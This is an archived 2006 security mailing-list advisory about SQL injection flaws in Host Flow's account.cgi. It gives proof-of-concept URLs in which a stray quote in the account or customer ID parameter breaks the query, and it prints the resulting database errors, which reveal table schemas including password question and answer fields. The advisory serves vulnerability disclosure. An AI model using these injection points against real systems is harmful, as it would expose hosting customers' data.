

[EXPL] Host Flow Multiple Sql Injections (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-07/msg00011.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 5 Jul 2006 14:30:37 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Host Flow Multiple Sql Injections (Exploit)

SUMMARY

" <<http://www.hostflow.com/>> HOSTFLOW BUSINESS SUITE is intended for growing hosting providers, ISPs and telecommunications providers. "

Improper filtering of user input allows attackers to manipulate data in Host Flow.

DETAILS

Proof of Concept:

The following URLs can be used to trigger an SQL injection vulnerability in the account.cgi:

```
#### http://hostflow.domain.com/cgi/account.cgi?session=\[provide session id\]&customer\_id=\[customer id\]&account\_id=\[account id\]
```

ERROR: unterminated quoted string at or near "" at character 755

```
SELECT a.account_id,a.domain_name, a.domain_master_user_id, a.plan_id,  
a.server_id,  
a.activation_date, a.start_billing_date,
```

[EXPL] Host Flow Multiple Sql Injections (Exploit)

```
a.account_status, a.period_id, a.customer_id ,a.registration_period,
a.registration_discount,
a.contract_period_id, a.promotion_code_id,
d.expiration_date, registrar_parameters,
a.pointer_id, d.registration_type,
a.old_plan_id,a.old_period_id,a.old_promotion_code_id,
a.old_contract_period_id,
d.renewal_period_id,
a.first_contract_id
FROM account a LEFT JOIN domain d ON (a.account_id=d.account_id)
WHERE a.account_id=[account id]'
```

```
#### http://hostflow.domain.com/cgi/account.cgi?session=[provide session id]&customer_id=[customer id]'
```

```
Unexpected Error : ERROR: unterminated quoted string at or near "" at
character 1434 SELECT ci.company_name, ci.code_number_3, ci.address1,
ci.address2, ci.city, ci.state, ci.zip, ci.country, ci.admin_contact,
ci.tech_contact, ci.billing_contact, c.reseller_id, c.language_id,
c.customer_type, co.manual_payment,ci.external_reference,
ci.pass_question,
ci.pass_answer, c.shoppingcart_id, c.sales_id, c.affiliate, c.referred_by,
ci.commission_rule_id, c.customer_status, ci.company_type,
co.taxid,co.tax,
ci.classification,ci.trade_company_name,
co.can_avoid_bill_customer_orders,
ci.currency_id, cur.shortname, cur.name, cur.currency_code,
c.payment_type,
c.discount_rule_id, c.billing_day, co.min_charge_amount,
co.aff_allow_access_comm_details FROM customer c LEFT JOIN customer_info
ci
ON (ci.customer_id = c.customer_id) LEFT JOIN currency cur ON (
cur.currency_id = ci.currency_id) LEFT JOIN customer_options co ON (
co.customer_id = c.customer_id) WHERE c.customer_id=[customer id]' at
./package/engine/customer.pm line 127
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:asteroidm@xxxxxxxxx>>
NewMovieSongs.

The original article can be found at: <<http://netfolks.net/hf.txt>>
<http://netfolks.net/hf.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:

[EXPL] Host Flow Multiple Sql Injections (Exploit)

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.